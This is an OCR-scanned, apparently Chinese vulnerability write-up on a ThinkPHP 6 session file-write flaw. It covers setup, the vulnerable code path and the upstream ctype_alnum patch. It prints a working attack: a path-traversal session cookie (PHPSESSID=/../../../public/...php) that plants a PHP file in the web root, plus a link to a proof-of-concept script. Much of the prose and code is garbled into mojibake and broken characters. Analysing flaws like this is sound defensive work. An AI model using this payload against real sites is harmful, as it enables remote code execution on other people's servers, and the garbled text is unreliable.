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BE5ci@id composer Bl thinkphp6 RIEZEER

composer create-project topthink/think thinké

Bl 7 LS, BUARZ thinkphp6b S&FTRAR), IRRREEIEE THY, AT EEXEFHT
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REFEFRB R T composer.json 3214, BALRNLTAERT

"require": f
"php": "==7.1.8",
"topthink/framework": "

"topthink/think-orm": "~2.8"

RIEHhT

compose update
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- Downgrading (v6.8.2 == v6.8.1): Downloading (180%)

> @php think service:discover
Succeed!
> @php think vendor:publish

File /Users’ 'yl Besktop/php/think6/config/trace.php exist! % TR
Succeed!
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thinkphp6 EGAZRIRBEFFE session THEEHY, FATEELE app\middleware.php &5, BGE
session FENFAYFRE, RENWE

return ([

‘think\middleware\SessionInit::
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&RI1E1T php think run BEahEiIRS



=y 187 think run

ThinkPHP Development server is started On <http://127.0.0.1:8000/>

You can exit with

Document root is: /Users/lanyi/Desktop/php/tp6/public ) )
l ¥ pSphp/ipb/p ﬁi?ﬁﬁﬁ

app\controller\Index.php S7 0L RS

apph ;
think\facade\Session;

Index BaseController
index()

n::set( name’, “thinkphp');
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& C @ 127.00.1/public/

[w ﬁ] Elements Console  Sources MNetwork Performance
[ ® | top Y | © | Filter

» HCCLmEWt.:Dckie=“Pﬂ35ESSID=aEaaaaEaaaaaaaaaﬁaaaaﬁaaaaﬁa.shp"ﬂ

Mem:

C AR

document.cookie="PHPSESSID=aaaaaaaaaaaaaaaaaaaaaaaaaaaa.php”;

\runtime\session X4FE iR php X4

v {HEHL » FANE (D) » phpStudy » WWW » runtime » session
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o NHHWETIE, MAMIISHERNAS, #MEl session AEHIRFFIL
a:1l:{s:4:"name";s:8: "thirﬂﬂ‘n%‘ﬁj&ﬁ
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Session::set('name', $ _POST['a']);

2.thinkphp BIMEE—AZSIE /public IREAMUERIR BR, MAERMIISI4RERE /
runtime/session {4+ TEAY, BIARBIEAZI

BRXMEY, Biasd

PHPSESSID=/../../../public/aaaaaaaaaaa.php

Python ifsiEtaill POC

https://github.com/Lanyi11998/pochub/blob/master/thinkphp6_file_write.py
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] public function setId($id = null): void
{
- $this=>id = is_string($id) && strlen($id) === 32 7 $id : mdS(microtime(true) . session_create_id());
+ $this->id = is_string($id) & strlen($id) === 32 & ctype_alnum($id) 7 Sid : md5(microt{* " trzg )/ fiaixion_c
) -
[ ]

https://github.com/top-think/framework/commit/1bbe75019ce6c8e0101a6ef73706217e406439f2

¥ ZEE vendor/topthink/framework/src/think/middleware/SessionInit.php &

it ($varSessionId && $request->request($varSessionId)) {
tsessionld = $request-srequest{$varSessionId);
se [

1 fsessionId = $request->cookie($cookieName);

I
it ($sessionId) {
2 -»session->setId($sessionId);

1
I

-»session—=init(};




"PHPSESSID"

$sessionld = $request—}cnckie{!ﬁcmkiemame:ﬁ WREZE

-r»session-»setld($sessionld);
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BIT setid BREGE session £ id iIRE /9, WA M cookie FEXZEIRVE
EB=

HAT session ZEFRY init 757%, ARIUAANBNBEREX REEmHITHY, (B2 debug LIEA
MAZRY

& thinkphp 3744

$_SESSION | #54BFF session_ 14 BRI Bit | Session | 2
R ES R RYE] =) Z7f | session | 5 A} 24 =17, exit

b : 5 - R — T
1| Session : S A



tp6 STEIBREERAYIHRFHIT session BA

vendor\topthink\framework\src\think\Http.php

-»app->middleware- :::-end{i-r*e:mpcrnf.e}ﬁ W

£1EAA vendor\topthink\framework\src\think\middleware\SessionInit.php 8] end /5i%

end( fresponse)

-»session-»save();
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ETREA vendor\topthink\framework\src\think\session\Store.php #f{ save 75i%



save():
-mclearFlashData();

f$sessionld = -»getId();

if (lempty( -»data)) {

$data -rserialize( -r»data);

->handler->write($sessionld, $data};
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-s*handler->delete($sessionId);

-»init =

ERIARILTHER7REY write J37&, SHAT
vendor\topthink\framework\src\think\session\driver\File.php &

write( $sessID,

$filename -»petFileName($sessID,
fdata $sessData;

s"] && function exists( 'gzcompress'))
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#81d getFileName &Y, 5epk session B RIFHE, AFSHIEA writeFile BRiZY

writeFile($path, $content):

) file put contents($path, $content, %k{ﬁﬁ

session 4B NiRfEsehk!

0x3: iR &

public function setId($id = null): void

{

$this—->id = is_string($id) && strlen($id) === 32 7 $id : md5(microtime(true) . session_create_id()});
$this=>id = is_string($id) && strlen($id) === 32 &&| ctype_alnum{$id}| ? $id

BEWNTEX id BI07T— ctype_alnum R, E— T34

: md5{microtimef . -1e) .—,525
} =/ MFE ¥l



ctype_alnum

(PHP 4 >= 4.0.4, PHP 5, PHP 7)
ctype_alnum — #iIFEHHF RN

i8R

ctype alnum ( string $text ) : bool

TR HMstring text ETEEAFENE)HFFH.
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text
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SNERIGEHRA id EESEA . XN, sSERRMETER—E id, TIASSEREHRRY ID

md5(microtime(true) . session_create_id()






